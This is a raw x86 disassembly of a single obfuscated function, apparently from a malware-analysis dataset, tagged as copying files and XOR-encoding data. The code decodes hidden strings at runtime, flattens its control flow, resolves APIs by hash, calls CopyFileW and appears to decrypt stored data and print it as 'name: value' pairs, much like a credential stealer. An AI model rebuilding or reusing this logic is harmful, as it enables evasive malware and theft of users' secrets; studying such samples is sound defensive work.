Function at 0x4269a5
Capabilities:
Copy file
Encode data using xor

Disassembly:
push dword [esp + 4]
call fcn.00425fa0
add esp, 4
test al, al
je 0x4266b0
mov al, 1
ret
push ebp
push ebx
push edi
push esi
sub esp, 0xe4
mov dword [esp + 0xa4], 0x930491d9
mov dword [esp + 0xa8], 0x9f029d0f
mov dword [esp + 0xac], 0x9b0e9939
mov dword [esp + 0xb0], 0x87368510
mov dword [esp + 0xb4], 0x831e8121
mov dword [esp + 0xb8], 0x8f8e8d24
mov byte [esp + 0xbc], 0
mov eax, 0x735b81a4
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x735b8100]
xor ecx, eax
mov edx, 0x8c
sub edx, ecx
add ecx, 0x73
and edx, 0xa7
and ecx, 0x58
sub ecx, edx
mov byte [esp + eax - 0x735b8100], cl
inc eax
cmp eax, 0x735b81bd
jne 0x426710
mov dword [esp + 0x14], 0xf580964
mov dword [esp + 0x18], 0x3590d49
mov dword [esp + 0x1c], 0x7510159
mov dword [esp + 0x20], 0x1b4c0550
mov dword [esp + 0x24], 0x1f721971
mov dword [esp + 0x28], 0x13531d41
mov dword [esp + 0x2c], 0x174e1157
mov dword [esp + 0x30], 0x2b78154d
mov dword [esp + 0x34], 0x2f42296d
mov dword [esp + 0x38], 0x23712d7b
mov dword [esp + 0x3c], 0x2772217a
mov dword [esp + 0x40], 0x3b7b254f
mov dword [esp + 0x44], 0x3f7b396e
mov dword [esp + 0x48], 0x33583d50
mov dword [esp + 0x4c], 0x374a3151
mov dword [esp + 0x50], 0x4b2f35be
mov dword [esp + 0x54], 0x4f194924
mov dword [esp + 0x58], 0x43274d38
mov dword [esp + 0x5c], 0x473b4121
mov word [esp + 0x60], 0x4544
mov byte [esp + 0x64], 0
mov word [esp + 0x62], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
movzx esi, byte [esp + ecx + 0x14]
mov edx, eax
and edx, 4
mov edi, ecx
xor edi, edx
and edx, ecx
xor edi, 0x9d222502
lea edx, [edi + edx*2]
xor edx, esi
mov esi, edx
xor esi, 0xa1
and edx, 0x5e
add edx, edx
sub edx, esi
add dl, 0x97
mov byte [esp + ecx + 0x14], dl
inc ecx
add eax, 2
cmp ecx, 0x51
jne case.default.0x426848
lea ebp, [esp + 0xa4]
lea edi, [esp + 0x14]
push ebp
push edi
call fcn.004377c0
add esp, 8
mov esi, eax
xor eax, eax
test esi, esi
sete al
jmp dword [eax*4 + 0x445e1c]
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add eax, 2
cmp word [ecx], 0
jne 0x426860
sub ecx, esi
mov eax, ecx
sar eax, 1
and ecx, 0x26
xor eax, 0x13
add eax, ecx
jns 0x426889
mov eax, 0xffffffff
jmp 0x42688b
xor eax, eax
jmp 0x4271d3
add eax, eax
push eax
call fcn.00409730
add esp, 4
mov dword [esp + 0x6c], eax
mov dword [esp + 0x14], 0x33d131d4
mov dword [esp + 0x18], 0x3fc83dcb
mov dword [esp + 0x1c], 0x3bd339d6
mov dword [esp + 0x20], 0xc722c52b
mov dword [esp + 0x24], 0xc335c123
mov dword [esp + 0x28], 0xcf20cd3a
mov dword [esp + 0x2c], 0xcb25c921
mov dword [esp + 0x30], 0xd728d5e2
mov dword [esp + 0x34], 0xd33cd13c
mov word [esp + 0x38], 0xdddc
mov dword [esp + 0x3a], 0
mov word [esp + 0x3e], 0
mov eax, 0x74
mov ecx, 0x8b
movzx ebx, byte [esp + eax - 0x60]
mov edx, eax
xor edx, ecx
and edx, ebx
xor edx, ecx
mov bl, 0xbb
sub bl, dl
mov byte [esp + eax - 0x60], bl
inc eax
dec ecx
cmp eax, 0xa0
jne 0x426900
movzx ecx, word [esi]
mov ebx, dword [esp + 0x6c]
mov eax, ebx
test cx, cx
je 0x426951
mov edx, esi
add edx, 2
mov eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x426940
mov word [eax], 0
movzx ecx, word [esp + 0x14]
test cx, cx
je 0x426981
lea edx, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x426970
mov word [eax], 0
jmp dword [0x445e24]
push esi
call fcn.00409740
add esp, 4
xor eax, eax
cmp word [ebx], 0x2a
sete al
jmp dword [eax*4 + 0x445e2c]
xor eax, eax
cmp word [ebx], 0x2a
sete al
jmp dword [eax*4 + 0x445e2c]
mov dword [esp + 0x14], 0x411c4709
mov dword [esp + 0x18], 0x4def43e4
mov dword [esp + 0x1c], 0x49d84fdd
mov dword [esp + 0x20], 0xb5e14be6
mov dword [esp + 0x24], 0xb112b71d
mov dword [esp + 0x28], 0xbd23b31d
mov dword [esp + 0x2c], 0xb910bf2a
mov dword [esp + 0x30], 0xa513bb13
mov dword [esp + 0x34], 0xa138a7f2
mov dword [esp + 0x38], 0xad0ca30c
mov dword [esp + 0x3c], 0xafac
xor eax, eax
nop
mov ecx, eax
add cl, 0xf1
xor cl, byte [esp + eax + 0x14]
add cl, 0x4b
mov byte [esp + eax + 0x14], cl
add eax, 0xfb3136e3
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
mov ecx, eax
and ecx, 0x91d
or eax, 0x4cec91d
add eax, ecx
cmp eax, 0x2c
jb case.default.0x426a66
push 0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x60
push 3
push 0x120089
push ebp
push ebx
call fcn.0043e510
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x445e34]
xor ebx, ebx
xor ebp, ebp
jmp dword [0x445e84]
lea eax, [esp + 0x94]
push 0
push eax
push dword [esp + 0xac]
call fcn.0043e8a0
add esp, 0xc
not eax
shr eax, 0x1f
xor ebp, ebp
xor ebx, ebx
jmp dword [eax*4 + 0x445e3c]
mov esi, dword [esp + 0x94]
lea eax, [esi + 1]
push eax
call fcn.00409730
add esp, 4
push 0
push esi
mov dword [esp + 0x70], eax
push eax
push dword [esp + 0xb0]
call fcn.0043e970
add esp, 0x10
not eax
shr eax, 0x1f
xor ebp, ebp
xor ebx, ebx
jmp dword [eax*4 + 0x445e44]
mov esi, dword [esp + 0x94]
mov ebx, dword [esp + 0x68]
mov byte [ebx + esi], 0
push 0x20
call fcn.00409730
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x70], eax
mov ecx, eax
push esi
push ebx
call fcn.00429340
movzx eax, al
xor ebp, ebp
xor ebx, ebx
jmp dword [eax*4 + 0x445e4c]
mov dword [esp + 0x14], 0xfdc0fad1
mov dword [esp + 0x18], 0xc6f8c8f1
mov dword [esp + 0x1c], 0xfdf5e9bd
mov dword [esp + 0x20], 0xe087fcca
mov dword [esp + 0x24], 0xcafdf0c0
mov dword [esp + 0x28], 0xf8fb9889
mov dword [esp + 0x2c], 0xd5d0d8cd
mov dword [esp + 0x30], 0x47d5
mov byte [esp + 0x34], 0
xor eax, eax
nop
nop
movzx ecx, byte [esp + eax + 0x14]
lea edx, [eax + 0x17]
and edx, ecx
add ecx, eax
add edx, edx
sub ecx, edx
add cl, 0xa4
mov byte [esp + eax + 0x14], cl
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
cmp eax, 0x21
jb case.default.0x426bbc
mov ecx, dword [esp + 0x70]
push edi
call fcn.00429530
xor ecx, ecx
test eax, eax
setne cl
xor ebp, ebp
xor ebx, ebx
jmp dword [ecx*4 + 0x445e54]
add eax, 8
xor edx, edx
mov esi, dword [eax]
xor eax, eax
test esi, esi
setne al
xor ebp, ebp
xor ecx, ecx
xor ebx, ebx
jmp dword [eax*4 + 0x445e5c]
jmp dword [0x445e70]
jmp dword [0x445e74]
mov esi, dword [esp + 0x70]
mov ecx, esi
call fcn.00429690
push esi
call fcn.00409740
add esp, 4
jmp dword [0x445e7c]
push 0
push ebx
push ebp
call fcn.0042a420
add esp, 0xc
mov ebx, dword [esp + 4]
mov ecx, dword [esp + 8]
mov dword [ebx + ecx + 4], eax
mov ebp, dword [esp + 0xc]
add ebp, 8
mov esi, dword [esp + 0x74]
add esi, 4
mov esi, dword [esi]
xor eax, eax
test esi, esi
setne al
mov edx, ebx
mov ecx, dword [esp]
jmp dword [eax*4 + 0x445e5c]
mov eax, ebp
mov ebp, dword [esi]
mov ebx, eax
sub ebx, edx
mov dword [esp + 0xc], eax
cmp eax, ecx
mov dword [esp + 0x74], esi
mov dword [esp + 8], ebx
je 0x426c6a
mov eax, edx
jmp 0x426d3a
mov edi, ebx
sar edi, 3
inc edi
mov dword [esp], ecx
mov dword [esp + 0xc], edx
sub ecx, edx
sar ecx, 3
mov eax, ecx
shr eax, 1
add eax, ecx
cmp eax, edi
ja 0x426c88
mov eax, edi
mov edx, eax
and edx, 8
mov ecx, eax
or ecx, 8
imul ecx, edx
mov edi, edx
xor edi, 8
mov dword [esp + 0x7c], eax
and eax, 0xfffffff7
imul eax, edi
add ecx, eax
push ecx
call fcn.00409730
add esp, 4
mov edx, dword [esp + 0xc]
test edx, edx
je 0x426d29
mov dword [esp + 0x78], ebp
mov esi, dword [esp]
cmp edx, esi
mov dword [esp + 4], eax
je 0x426d14
mov eax, edx
not eax
mov dword [esp + 0x10], eax
mov edi, edx
mov ebx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
and ecx, edx
mov edx, edi
and edx, dword [esp + 0x10]
sub edx, ecx
mov ecx, dword [ebx]
mov ebp, dword [esp + 4]
mov dword [ebp + edx], ecx
mov ecx, dword [ebx + 4]
mov dword [ebp + edx + 4], ecx
mov edx, dword [esp + 0xc]
mov dword [ebx], 0
add edi, 8
add eax, 0xfffffff8
add ebx, 8
cmp ebx, esi
jne 0x426ce0
push edx
call fcn.00409740
add esp, 4
mov eax, dword [esp + 4]
mov ebx, dword [esp + 8]
mov ebp, dword [esp + 0x78]
mov ecx, dword [esp + 0x7c]
lea edx, [eax + ecx*8]
mov ecx, eax
add ecx, ebx
mov dword [esp + 0xc], ecx
mov ecx, edx
mov dword [esp], ecx
mov dword [eax + ebx], 0
mov dword [esp + 4], eax
mov dword [eax + ebx + 4], 0
mov ebx, 0xffffffff
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
add eax, 2
cmp byte [ebp + ebx + 1], 0
lea ebx, [ebx + 1]
jne 0x426d60
and eax, 2
mov esi, ebx
xor esi, 1
add esi, eax
push esi
call fcn.00409730
add esp, 4
mov edi, eax
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
mov dword [eax + ecx], edi
mov ecx, esi
shr ecx, 2
mov edx, ebp
mov eax, edi
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edx, esi
and edx, 0xfffffffc
add eax, edx
mov edi, eax
add edx, ebp
shr esi, 1
and esi, 1
mov eax, edx
mov dword [esp + 0x10], edi
mov ecx, esi
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
test bl, 1
jne 0x426c10
mov eax, ebx
and eax, 2
movzx ecx, byte [edx + eax]
mov edx, dword [esp + 0x10]
mov byte [edx + eax], cl
jmp 0x426c10
jmp dword [0x445e7c]
push dword [esp + 0x68]
call fcn.00409740
add esp, 4
mov eax, dword [esp + 0xa4]
mov dword [esp + 0x14], 0xd8dbdac5
mov byte [esp + 0x18], 0
mov ecx, 0x79534acf
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx - 0x79534abb]
mov esi, ecx
or esi, edx
and edx, ecx
sub esi, edx
lea edx, [esi - 0x7ae799c2]
mov edi, 0x7ae79a0b
sub edi, esi
or edi, 1
add esi, edi
add esi, 0x8518663e
xor edx, 1
lea edx, [edx + esi*2]
add dl, 0x24
mov byte [esp + ecx - 0x79534abb], dl
inc ecx
cmp ecx, 0x79534ad4
jne 0x426e10
mov ecx, dword [0x44aef0]
test ecx, ecx
je 0x426e8c
mov edx, dword [esp + 0x14]
xor esi, esi
mov edi, dword [0x44aef4]
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x1b6183f2
je 0x426e80
inc esi
cmp ecx, esi
jne 0x426e70
jmp 0x426e8c
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x4271de
jmp dword [0x445e84]
push dword [esp + 0x6c]
call fcn.00409740
add esp, 4
nop
nop
jmp dword [0x445e98]
xor eax, eax
cmp ebx, ebp
sete al
jmp dword [eax*4 + 0x445e9c]
mov dword [esp + 0xc], ebp
mov dword [esp + 4], ebx
mov dword [esp + 0x14], 0x57024925
mov dword [esp + 0x18], 0x53fd55e7
mov dword [esp + 0x1c], 0x5fea51f1
mov dword [esp + 0x20], 0x5bea5d1d
mov dword [esp + 0x24], 0xa7ea59e8
mov dword [esp + 0x28], 0xa31ea505
mov dword [esp + 0x2c], 0xafc3a101
mov dword [esp + 0x30], 0xabf5ad08
mov dword [esp + 0x34], 0xb71ba914
mov dword [esp + 0x38], 0xb307b515
mov dword [esp + 0x3c], 0xbf0ab114
mov dword [esp + 0x40], 0xbb15bd0f
mov dword [esp + 0x44], 0x8732b919
mov dword [esp + 0x48], 0x833885f6
mov dword [esp + 0x4c], 0x8f24812c
lea eax, [esp + 0x50]
mov word [esp + 0x50], 0x8d8c
mov dword [esp + 0x52], 0
mov byte [esp + 0x56], 0
xor ecx, ecx
nop
nop
mov edx, ecx
add dl, 0x6e
xor dl, byte [esp + ecx + 0x14]
add dl, 0xda
mov byte [esp + ecx + 0x14], dl
inc ecx
cmp ecx, 0x43
jne 0x426f50
lea edx, [esp + 0x14]
lea esi, [esp + 0xa4]
mov edi, esi
mov ecx, 0xf
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0xe0]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea eax, [esp + 0xa0]
push eax
push 0
push 0
push 0x1e
push esi
push 0
call dword [0x44aeec]
mov dword [esp + 0x14], 0xe3222103
xor ecx, ecx
mov edi, 0xa071748
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + ecx + 0x14]
lea esi, [edi - 1]
mov ebp, esi
or ebp, ebx
or ebx, ecx
or ebx, 0x5f8e8b8
add ebx, edi
not ebp
or ebp, ebx
mov edi, ebp
not edi
lea ebx, [edi*2]
add ebx, ebp
mov dl, 0x66
sub dl, bl
mov byte [esp + ecx + 0x14], dl
inc ecx
mov edi, esi
cmp ecx, 4
jne case.default.0x427006
xor ecx, ecx
cmp eax, dword [esp + 0x14]
setne cl
xor eax, eax
mov ebx, dword [esp + 4]
jmp dword [ecx*4 + 0x445ea4]
mov edi, dword [esp + 0xa0]
test edi, edi
jns 0x42702e
mov eax, 0xffffffff
jmp 0x427031
xor eax, eax
test ebx, ebx
jne 0x4271a0
jmp 0x4271d3
lea eax, [edi + edi]
push eax
call fcn.00409730
add esp, 4
lea ecx, [esp + 0xa0]
push ecx
push edi
mov edi, eax
push eax
push 0x1e
lea eax, [esp + 0xb4]
push eax
push 0
call dword [0x44aeec]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x445eac]
xor eax, eax
jmp dword [0x445eb4]
push edi
call fcn.00409740
add esp, 4
xor eax, eax
jmp 0x427198
mov eax, dword [esp + 0xc]
sub eax, ebx
sar eax, 3
imul eax, eax, 0x421
push eax
call fcn.00409730
add esp, 4
mov esi, eax
lea eax, [esp + 0x80]
push 0x60
push 3
push 0x120089
push eax
push edi
call fcn.0043e510
add esp, 0x14
not eax
shr eax, 0x1f
mov dword [esp + 8], esi
jmp dword [eax*4 + 0x445ebc]
xor edx, edx
mov ebp, esi
jmp dword [0x445f84]
push edi
mov edi, edx
call fcn.00409740
add esp, 4
mov edx, edi
mov eax, edx
and al, 1
movzx ecx, al
mov eax, edi
jmp dword [ecx*4 + 0x445f8c]
mov edi, ebx
mov byte [ebp], 0
mov eax, ebp
not eax
and eax, esi
mov edx, esi
not edx
and edx, ebp
mov dword [esp + 0x14], 0xafd2d181
mov dword [esp + 0x18], 0xd3a7a6ad
mov dword [esp + 0x1c], 0xd8a4a6a1
mov dword [esp + 0x20], 0xaadabe63
mov dword [esp + 0x24], 0x875d9c91
mov dword [esp + 0x28], 0x99939e9b
mov dword [esp + 0x2c], 0xe3ee57eb
mov dword [esp + 0x30], 0x7de8
mov ecx, 0xd5997b10
nop
nop
movzx ebx, byte [esp + ecx + 0x2a668504]
xor ebx, ecx
mov esi, ebx
xor esi, 0x51
and ebx, 0x2e
add ebx, ebx
sub ebx, esi
inc bl
mov byte [esp + ecx + 0x2a668504], bl
inc ecx
cmp ecx, 0xd5997b30
jne 0x427140
sub edx, eax
mov ecx, dword [esp + 0xf8]
push edx
mov esi, dword [esp + 0xc]
push esi
lea eax, [esp + 0x1c]
push eax
call fcn.0040a5c0
mov ebx, edi
jmp dword [0x445f94]
push esi
mov esi, eax
call fcn.00409740
mov eax, esi
add esp, 4
and al, 1
mov ebp, dword [esp + 0xc]
test ebx, ebx
je 0x4271d3
cmp ebx, ebp
je 0x4271d3
mov edi, eax
mov esi, ebx
jmp 0x4271b7
add esi, 8
cmp esi, ebp
je 0x4271c8
mov eax, dword [esi]
test eax, eax
je 0x4271b0
push eax
call fcn.00409740
add esp, 4
jmp 0x4271b0
push ebx
call fcn.00409740
add esp, 4
mov eax, edi
add esp, 0xe4
pop esi
pop edi
pop ebx
pop ebp
ret
push eax
push 4
push ecx
push dword [0x44aef8]
call fcn.0043be00
add esp, 0x10
jmp dword [0x445e84]
mov dword [esp + 0x74], edi
lea eax, [esp + 0x9c]
push 0
push eax
push dword [esp + 0x88]
call fcn.0043e8a0
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [esp], 0
mov edi, esi
jmp dword [eax*4 + 0x445ec4]
mov esi, dword [esp + 0x9c]
lea eax, [esi + 1]
push eax
call fcn.00409730
add esp, 4
push 0
push esi
mov dword [esp + 0x90], eax
push eax
push dword [esp + 0x8c]
call fcn.0043e970
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [esp], 0
mov edi, dword [esp + 8]
jmp dword [eax*4 + 0x445ecc]
mov esi, dword [esp + 0x9c]
mov edi, dword [esp + 0x88]
mov byte [edi + esi], 0
push 0x20
call fcn.00409730
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x84], eax
mov ecx, eax
push esi
push edi
call fcn.00429340
movzx eax, al
mov dword [esp], 0
mov edi, dword [esp + 8]
jmp dword [eax*4 + 0x445ed4]
mov dword [esp + 0x14], 0x5da856b9
mov dword [esp + 0x18], 0xa250a059
mov dword [esp + 0x1c], 0x5dadb19d
mov dword [esp + 0x20], 0x889ba456
mov dword [esp + 0x24], 0x66959868
mov dword [esp + 0x28], 0x6b63bea1
mov dword [esp + 0x2c], 0x6593906a
mov dword [esp + 0x30], 0x8d9798b5
mov dword [esp + 0x34], 0xe78b
mov eax, 0x51
mov ecx, 0x8ad667ae
movzx edx, byte [esp + eax - 0x3d]
lea esi, [edx + edx]
not esi
add esi, edx
or esi, ecx
or edx, eax
and edx, esi
add dl, 0x6b
mov byte [esp + eax - 0x3d], dl
inc eax
dec ecx
cmp eax, 0x75
jne case.default.0x42736d
mov ecx, dword [esp + 0x84]
lea eax, [esp + 0x14]
push eax
call fcn.00429530
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp], 0
mov edx, dword [esp + 8]
mov edi, edx
jmp dword [ecx*4 + 0x445edc]
add eax, 8
mov dword [esp], 0
mov esi, dword [eax]
xor eax, eax
test esi, esi
setne al
mov edi, edx
jmp dword [eax*4 + 0x445ee4]
mov edx, dword [esi]
cmp dword [esi + 0x18], 3
mov ebp, 0
jne case.default.0x4273af
mov ebp, dword [esi + 0x10]
test edx, edx
setne al
test ebp, ebp
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x445eec]
mov dword [esp + 0x78], edx
mov dword [esp + 0x6c], esi
mov dword [esp + 4], ebx
mov ecx, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
inc ecx
cmp byte [eax], 0
jne case.default.0x427416
mov dword [esp + 0x7c], edi
sub eax, ebp
mov ecx, eax
and ecx, 1
lea eax, [eax + ecx*2]
shr eax, 1
mov dword [esp + 0x70], eax
inc eax
push eax
call fcn.00409730
add esp, 4
mov edx, eax
mov eax, dword [case.0x42748b.100]
mov dword [esp + 0x10], eax
mov esi, dword [case.0x42748b.102]
movsx ebx, byte [ebp]
xor eax, eax
test ebx, ebx
setne al
mov dword [esp + 0x68], edx
jmp dword [eax*4 + 0x445ef4]
mov byte [edx], 0
xor ebp, ebp
push 0
push 0x10
push 0
push dword [esp + 0x84]
call fcn.00429730
add esp, 0x10
xor ebx, ebx
mov ecx, dword [esp + 4]
cmp ecx, dword [esp + 0xc]
setne bl
jmp dword [ebx*4 + 0x445f24]
inc edx
movsx ebx, byte [ebp]
xor eax, eax
test ebx, ebx
setne al
jmp dword [eax*4 + 0x445ef4]
lea eax, [ebx - 0x30]
cmp eax, 0xa
jb 0x427470
mov eax, 0xffffffff
or ebx, 0x20
lea edi, [ebx - 0x61]
cmp edi, 6
jae case.default.0x42748b
add ebx, 0xffffffa9
mov eax, ebx
movsx ebx, byte [ebp + 1]
xor ecx, ecx
test ebx, ebx
setne cl
jmp dword [ecx*4 + 0x445efc]
inc ebp
jmp dword [esp + 0x10]
lea edi, [ebx - 0x30]
cmp edi, 0xa
jb 0x4274ad
mov edi, 0xffffffff
or ebx, 0x20
lea ecx, [ebx - 0x61]
cmp ecx, 6
jae 0x4274bd
add ebx, 0xffffffa9
mov edi, ebx
shl eax, 4
or eax, edi
add ebp, 2
jmp dword [esp + 0x10]
mov byte [edx], al
jmp esi
mov byte [edx], al
mov byte [edx], al
jmp esi
mov ebp, dword [ecx]
xor esi, esi
jmp dword [esi*4 + 0x445f34]
add ecx, 8
xor ebx, ebx
cmp ecx, dword [esp + 0xc]
setne bl
jmp dword [ebx*4 + 0x445f24]
mov esi, dword [ecx + 4]
mov edi, esi
shr edi, 0x1c
shl esi, 4
or esi, 1
xor edi, edx
xor esi, eax
xor ebx, ebx
or esi, edi
sete bl
jmp dword [ebx*4 + 0x445f2c]
mov esi, 1
jmp dword [esi*4 + 0x445f34]
xor eax, eax
test ebp, ebp
setne al
mov ebx, dword [esp + 4]
mov edi, dword [esp + 0x7c]
mov esi, dword [esp + 0x6c]
jmp dword [eax*4 + 0x445f3c]
mov eax, dword [esp + 0x70]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x68]
mov dword [esp + 0x18], eax
mov eax, 0xffffffff
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebp + eax + 1], 0
lea eax, [eax + 1]
jne case.default.0x4275c7
mov dword [esp + 0x94], eax
mov dword [esp + 0x98], ebp
mov dword [esp + 0x8c], 0
mov dword [esp + 0x90], 0
push 0xe18a387a
push dword [0x44aefc]
call fcn.0043dad0
add esp, 8
lea ecx, [esp + 0x8c]
lea edx, [esp + 0x94]
push ecx
push 1
push 0
push 0
push edx
push 0
lea ecx, [esp + 0x2c]
push ecx
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x445f44]
mov eax, dword [case.0x42736d.23]
jmp case.0x42736d.27
movzx eax, byte [ebp]
test al, al
je 0x4275ed
inc ebp
mov byte [edi], al
inc edi
movzx eax, byte [ebp]
inc ebp
test al, al
jne 0x4275e1
mov word [edi], 0x203a
add edi, 2
mov edx, dword [esp + 0x8c]
test edx, edx
je 0x42762f
mov eax, dword [esp + 0x90]
mov ecx, edx
and ecx, 3
je 0x427633
xor esi, esi
movzx ebx, byte [eax]
cmp bl, 1
sbb eax, 0xffffffff
mov byte [edi + esi], bl
inc esi
cmp ecx, esi
jne 0x427610
add edi, esi
mov ecx, edx
sub ecx, esi
mov ebx, edi
mov esi, dword [esp + 0x6c]
jmp 0x427635
mov ebx, edi
jmp 0x427673
mov ecx, edx
cmp edx, 4
jb 0x427673
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
mov byte [edi], dl
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
mov byte [edi + 1], dl
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
mov byte [edi + 2], dl
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
lea ebx, [edi + 4]
mov byte [edi + 3], dl
mov edi, ebx
add ecx, 0xfffffffc
jne 0x42763a
mov byte [ebx], 0xa
inc ebx
push 0xa7ffa4f5
push dword [0x449ee4]
call fcn.0043dad0
add esp, 8
push dword [esp + 0x90]
call eax
mov al, 1
mov dword [esp], eax
mov eax, dword [case.0x42736d.23]
mov edi, ebx
mov ebx, dword [esp + 4]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
jmp dword [0x445f5c]
push dword [esp + 0x68]
call fcn.00409740
add esp, 4
add esi, 4
mov eax, dword [case.0x42736d.36]
nop
nop
nop
nop
jmp eax
mov esi, dword [esi]
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x445ee4]
jmp dword [0x445f74]
mov esi, dword [esp + 0x84]
mov ecx, esi
call fcn.00429690
push esi
call fcn.00409740
add esp, 4
jmp dword [0x445f7c]
jmp dword [0x445f7c]
push dword [esp + 0x88]
call fcn.00409740
add esp, 4
mov ebp, edi
mov eax, dword [esp + 0x80]
mov dword [esp + 0x14], 0xd8dbdac5
mov byte [esp + 0x18], 0
mov ecx, 0x79534acf
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx - 0x79534abb]
mov esi, ecx
or esi, edx
and edx, ecx
sub esi, edx
lea edx, [esi - 0x7ae799c2]
mov edi, 0x7ae79a0b
sub edi, esi
or edi, 1
add esi, edi
add esi, 0x8518663e
xor edx, 1
lea edx, [edx + esi*2]
add dl, 0x24
mov byte [esp + ecx - 0x79534abb], dl
inc ecx
cmp ecx, 0x79534ad4
jne 0x427740
mov ecx, dword [0x44aef0]
test ecx, ecx
je 0x4277b8
mov edx, dword [esp + 0x14]
xor esi, esi
mov edi, dword [0x44aef4]
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x1b6183f2
je 0x4277b0
inc esi
cmp ecx, esi
jne 0x4277a0
jmp 0x4277b8
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x4277df
mov esi, dword [esp + 8]
mov edi, dword [esp + 0x74]
mov edx, dword [esp]
jmp dword [0x445f84]
mov eax, edx
and al, 1
movzx ecx, al
mov eax, edx
jmp dword [ecx*4 + 0x445f8c]
jmp dword [0x445f94]
push eax
push 4
push ecx
push dword [0x44aef8]
call fcn.0043be00
add esp, 0x10
mov esi, dword [esp + 8]
mov edi, dword [esp + 0x74]
mov edx, dword [esp]
jmp dword [0x445f84]
int3
mov ebx, dword [ebp - 0x54]
test ebx, ebx
jns 0x427962
mov eax, 0xffffffff
jmp 0x427965
mov ecx, dword [case.0x42736d.51]
xor eax, eax
jmp ecx
lea eax, [ebx + ebx]
push eax
call fcn.00409730
add esp, 4
push edi
push ebx
mov dword [ebp - 0x3c], eax
push eax
push 9
push esi
push 0
call dword [0x44aeec]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x445fb4]
jmp dword [0x445fbc]
push dword [ebp - 0x3c]
call fcn.00409740
add esp, 4
nop
nop
nop
nop
xor eax, eax
jmp dword [0x445fd0]
jmp dword [0x445fd8]
mov edx, dword [ebp - 0x44]
add edx, 4
xor eax, eax
mov ecx, edx
mov dword [ebp - 0x44], edx
cmp edx, 0xc
setne al
jmp dword [eax*4 + 0x445fe4]
jmp dword [0x445ff8]
xor ebx, ebx
mov eax, dword [case.0x42736d.92]
mov edi, dword [ebp - 0x38]
mov esi, dword [ebp - 0x58]
jmp case.0x42736d.89
jmp dword [0x44606c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax - 0x94]
mov ecx, 0xfffffffe
mov dword [ebp - 0x38], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [eax + ecx + 2], 0
lea ecx, [ecx + 2]
jne 0x427a40
shr ecx, 1
mov eax, dword [ebp - 0x54]
shr eax, 1
shr eax, cl
add eax, eax
xor eax, 0x18
push eax
call fcn.00409730
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x3c]
movzx edx, word [eax]
mov eax, ecx
test dx, dx
je 0x427a91
mov esi, dword [ebp - 0x70]
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], dx
add eax, 2
movzx edx, word [esi]
add esi, 2
test dx, dx
jne 0x427a80
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x40], eax
mov word [eax], 0x5c
mov dword [ebp - 0x30], 0x134611b4
mov dword [ebp - 0x2c], 0x6fcd6ddb
mov dword [ebp - 0x28], 0x6bde69c9
mov dword [ebp - 0x24], 0x67356504
mov dword [ebp - 0x20], 0x63c361ec
mov dword [ebp - 0x1c], 0x7fc37df0
mov word [ebp - 0x18], 0x7978
